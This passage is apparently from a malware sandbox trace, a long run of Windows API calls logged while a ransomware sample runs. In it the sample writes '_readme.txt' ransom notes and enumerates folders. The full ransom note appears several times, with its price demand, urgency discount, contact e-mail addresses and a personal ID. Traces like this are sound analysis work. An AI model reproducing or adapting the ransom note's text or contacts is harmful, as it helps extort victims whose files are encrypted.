hHeap=0x35b0000) returned 1 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.169] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.169] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.169] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.169] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.169] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.169] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.169] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.169] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.169] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.169] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.169] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.169] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.169] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.169] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.169] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.169] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.169] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.169] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.169] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.169] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0117.169] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.169] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.169] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.169] PathFindFileNameW (pszPath="") returned="" [0117.169] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.170] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.170] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.170] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.170] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.170] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.170] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.170] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0117.170] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0117.170] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.170] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.170] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.171] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.171] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.171] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.171] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.171] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.171] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.171] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.171] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.171] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.171] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.171] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.171] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.172] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.172] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.173] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.173] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.174] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.174] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, 